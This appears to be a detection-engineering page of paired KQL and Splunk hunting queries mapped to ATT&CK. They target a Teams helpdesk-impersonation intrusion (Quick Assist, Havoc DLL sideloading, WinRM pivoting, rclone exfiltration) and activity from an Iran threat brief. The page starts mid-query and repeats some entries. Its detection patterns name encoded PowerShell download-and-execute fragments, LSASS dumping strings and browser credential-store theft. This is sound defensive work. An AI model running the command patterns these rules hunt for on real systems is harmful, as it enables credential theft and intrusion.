AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intruExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intru
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("quickassist.exe", "consent.exe", "acroservicesupdater2_x64.exe", "msi.dll", "adnotificationmanager.exe", "vcruntime140_1.dll", "dlpuseragent.exe", "mpclient.dll", "werfault.exe", "faultrep.dll", "anydesk.exe", "teamviewer.exe", "rclone.exe") or FolderPath has_any ("C:\ProgramData\Adobe\ARM\", "C:\ProgramData\Microsoft\DeviceSync\", "D:\ProgramData\Adobe\ARM\", "D:\ProgramData\Microsoft\DeviceSync\", "\AppData\Roaming\"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("C:\ProgramData\Adobe\ARM\", "C:\ProgramData\Microsoft\DeviceSync\", "D:\ProgramData\Adobe\ARM\", "D:\ProgramData\Microsoft\DeviceSync\", "\AppData\Roaming\") or FileName in~ ("quickassist.exe", "consent.exe", "acroservicesupdater2_x64.exe", "msi.dll", "adnotificationmanager.exe", "vcruntime140_1.dll", "dlpuseragent.exe", "mpclient.dll", "werfault.exe", "faultrep.dll", "anydesk.exe", "teamviewer.exe", "rclone.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
// Registry persistence locations named in the article
DeviceRegistryEvents
| where Timestamp > ago(30d)
| where ActionType in ("RegistryValueSet","RegistryKeyCreated")
| where RegistryKey has_any ("HKLM\\SOFTWARE\\Microsoft\\Windows")
| project Timestamp, DeviceName, AccountName, RegistryKey,
RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intru ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("quickassist.exe","consent.exe","acroservicesupdater2_x64.exe","msi.dll","adnotificationmanager.exe","vcruntime140_1.dll","dlpuseragent.exe","mpclient.dll","werfault.exe","faultrep.dll","anydesk.exe","teamviewer.exe","rclone.exe") OR Processes.process_path="*C:\ProgramData\Adobe\ARM\*" OR Processes.process_path="*C:\ProgramData\Microsoft\DeviceSync\*" OR Processes.process_path="*D:\ProgramData\Adobe\ARM\*" OR Processes.process_path="*D:\ProgramData\Microsoft\DeviceSync\*" OR Processes.process_path="*\AppData\Roaming\*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*C:\ProgramData\Adobe\ARM\*" OR Filesystem.file_path="*C:\ProgramData\Microsoft\DeviceSync\*" OR Filesystem.file_path="*D:\ProgramData\Adobe\ARM\*" OR Filesystem.file_path="*D:\ProgramData\Microsoft\DeviceSync\*" OR Filesystem.file_path="*\AppData\Roaming\*" OR Filesystem.file_name IN ("quickassist.exe","consent.exe","acroservicesupdater2_x64.exe","msi.dll","adnotificationmanager.exe","vcruntime140_1.dll","dlpuseragent.exe","mpclient.dll","werfault.exe","faultrep.dll","anydesk.exe","teamviewer.exe","rclone.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Registry
where Registry.action IN ("created","modified")
AND (Registry.registry_path="*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows*")
by Registry.dest, Registry.process_name, Registry.registry_path,
Registry.registry_value_name, Registry.registry_value_data
| `drop_dm_object_name(Registry)`
]
[LLM] Havoc loader DLL side-load via Acro/ADN/DLP/WER updater from ProgramDataInstallationHigh
Hunts the article's specific trusted-app sideload pairs (AcroServicesUpdater2_x64.exe→msi.dll, ADNotificationManager.exe→vcruntime140_1.dll, DlpUserAgent.exe→mpclient.dll, werfault.exe→Faultrep.dll) executing from ProgramData/AppData rather than vendor install paths. This is the loader stage that decrypts registry-stored Havoc config in memory.
Rationale: Each (process,dll) pair is named explicitly in the Microsoft article as the campaign's sideload technique and the path constraint (ProgramData/AppData) excludes legitimate Adobe/Microsoft installs. Cross-checked against The Hacker News UNC6692/SNOW write-up and Cybersecurity News coverage which corroborate the exact binary list.
Cross-checked against:
• https://thehackernews.com/2026/04/unc6692-impersonates-it-helpdesk-via.html
• https://cybersecuritynews.com/attackers-abuse-microsoft-teams-and-quick-assist/
• https://undercodetesting.com/cross-tenant-helpdesk-impersonation-the-microsoft-teams-attack-you-arent-ready-for-video/
ATT&CKT1574.002T1218T1027
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let Sideloads = datatable(Proc:string, Dll:string)[
"acroservicesupdater2_x64.exe","msi.dll",
"adnotificationmanager.exe","vcruntime140_1.dll",
"dlpuseragent.exe","mpclient.dll",
"werfault.exe","faultrep.dll"];
DeviceImageLoadEvents
| where Timestamp > ago(14d)
| extend Proc = tolower(InitiatingProcessFileName), Dll = tolower(FileName)
| join kind=inner Sideloads on Proc, Dll
| where FolderPath has_any (@"\ProgramData\\", @"\AppData\\", @"\Users\Public\\")
| where not(InitiatingProcessFolderPath has_any (@"\Program Files\Adobe\\", @"\Program Files (x86)\Adobe\\", @"\Windows\System32\\", @"\Windows\SysWOW64\\"))
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, FolderPath, SHA256, InitiatingProcessCommandLine
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE Processes.process_name IN ("AcroServicesUpdater2_x64.exe","ADNotificationManager.exe","DlpUserAgent.exe","werfault.exe") (Processes.process_path="*\\ProgramData\\*" OR Processes.process_path="*\\AppData\\*" OR Processes.process_path="*\\Users\\Public\\*") NOT (Processes.process_path="*\\Program Files\\Adobe\\*" OR Processes.process_path="*\\Program Files (x86)\\Adobe\\*" OR Processes.process_path="*\\Windows\\System32\\*" OR Processes.process_path="*\\Windows\\SysWOW64\\*") BY Processes.dest Processes.user Processes.process_name Processes.process_path Processes.parent_process_name Processes.process | `drop_dm_object_name(Processes)` | join type=inner dest [| tstats `summariesonly` count FROM datamodel=Endpoint.Filesystem WHERE (Filesystem.file_name IN ("msi.dll","vcruntime140_1.dll","mpclient.dll","Faultrep.dll")) (Filesystem.file_path="*\\ProgramData\\*" OR Filesystem.file_path="*\\AppData\\*") BY Filesystem.dest Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts the article's stage-7 pivot where the sideloaded AcroServicesUpdater2_x64.exe / ADNotificationManager.exe / DlpUserAgent.exe processes initiate WinRM (TCP 5985) sessions to internal hosts using the 'Microsoft WinRM Client' user-agent — a behaviour these vendor binaries should never exhibit.
Rationale: The article explicitly states AcroServicesUpdater2_x64.exe initiated WinRM (TCP 5985) toward domain-joined systems with the 'Microsoft WinRM Client' user-agent — these signed updater binaries have no legitimate reason to speak WSMan. Combining the named binary list with port 5985 yields near-zero false positives. Corroborated by The Hacker News and Cybersecurity News coverage of the same chain.
Cross-checked against:
• https://thehackernews.com/2026/04/unc6692-impersonates-it-helpdesk-via.html
• https://www.scworld.com/brief/microsoft-teams-quick-assist-weaponized-in-helpdesk-spoofing-intrusions
ATT&CKT1021.006T1570
Data sourcesNetwork_Traffic.All_TrafficEndpoint.Processes
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemotePort == 5985
| where InitiatingProcessFileName in~ ("AcroServicesUpdater2_x64.exe","ADNotificationManager.exe","DlpUserAgent.exe","werfault.exe")
| where ActionType in ("ConnectionSuccess","ConnectionAttempt")
| where RemoteIP !startswith "127." and RemoteIPType != "Loopback"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Targets=make_set(RemoteIP, 50), TargetCount=dcount(RemoteIP) by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine
| where TargetCount >= 1
| order by FirstSeen asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest) as dest values(All_Traffic.dest_port) as dest_port FROM datamodel=Network_Traffic.All_Traffic WHERE All_Traffic.dest_port=5985 AND All_Traffic.app IN ("AcroServicesUpdater2_x64.exe","ADNotificationManager.exe","DlpUserAgent.exe","werfault.exe") BY All_Traffic.src All_Traffic.app All_Traffic.user All_Traffic.process_id | `drop_dm_object_name(All_Traffic)` | where dest!=src | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Rclone exfiltration with file-type exclusions to cloud storage from QuickAssist hostActions on ObjectivesHigh
Hunts stage-9 exfiltration: rclone.exe (or renamed) executing with copy/sync/move + --exclude/--filter/--include flags toward a remote cloud target on a host where QuickAssist.exe was launched in the prior 24 hours. The exclusion flags are the article's tell — actor is filtering for business-relevant docs while reducing transfer size.
Rationale: The article specifies Rclone with file-type exclusion parameters as the exfil mechanism and explicitly ties the chain to a Quick Assist foothold. Joining on hosts that ran QuickAssist.exe in the same 24h window dramatically lowers false positives versus generic Rclone hunts. Corroborated by Microsoft's own 2024 Quick Assist write-up and the SC Media brief on this campaign.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/
• https://www.scworld.com/brief/microsoft-teams-quick-assist-weaponized-in-helpdesk-spoofing-intrusions
• https://gbhackers.com/fake-helpdesk-attack/
ATT&CKT1567.002T1219T1059.003
Data sourcesEndpoint.Processes
let QAHosts = DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "QuickAssist.exe" or InitiatingProcessFileName =~ "QuickAssist.exe"
| summarize QAFirstSeen=min(Timestamp) by DeviceId, DeviceName;
DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName =~ "rclone.exe" or ProcessVersionInfoOriginalFileName =~ "rclone.exe" or ProcessCommandLine has "rclone")
| where ProcessCommandLine has_any (" copy "," sync "," move "," copyto "," lsd ")
| where ProcessCommandLine has_any ("--exclude","--filter","--include","--max-size","--min-size","--multi-thread-streams")
| where ProcessCommandLine has_any ("mega:","b2:","s3:","dropbox:","gdrive:","onedrive:","pcloud:","box:","azureblob:",":remote:")
| join kind=inner QAHosts on DeviceId
| where Timestamp between (QAFirstSeen .. (QAFirstSeen + 24h))
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, QAFirstSeen, SHA256
| order by Timestamp asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent FROM datamodel=Endpoint.Processes WHERE (Processes.process_name="rclone.exe" OR Processes.original_file_name="rclone.exe" OR (Processes.process="*rclone*" AND (Processes.process="* copy *" OR Processes.process="* sync *" OR Processes.process="* move *" OR Processes.process="* copyto *"))) AND (Processes.process="*--exclude*" OR Processes.process="*--filter*" OR Processes.process="*--include*" OR Processes.process="*--max-size*" OR Processes.process="*--min-size*") BY Processes.dest Processes.user Processes.process_name | `drop_dm_object_name(Processes)` | join type=inner dest [| tstats `summariesonly` count FROM datamodel=Endpoint.Processes WHERE Processes.process_name="QuickAssist.exe" BY Processes.dest | `drop_dm_object_name(Processes)` | rename count as qa_count] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-1715 use cases6 techniques6 kill-chain phases detected
Unit 42 details recent Iranian cyberattack activity, sharing direct observations of phishing, hacktivist activity and cybercrime. We include recommendations for defenders. The post Threat Brief: Escalation of Cyber Risk Related to Iran (Updated April 17) appeared first on Unit 42 .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] StealC delivery from numbered file-host SBS/XYZ infrastructure with password-protected ZIP · [LLM] Iran-conflict scam portal access — phish-bypass and finesquery payment paths
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · [LLM] CyberAv3ngers (CL-STA-1128) inbound access to internet-facing Rockwell/Allen-Bradley PLCs via Studio 5000
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-33538", "CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-33538", "CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
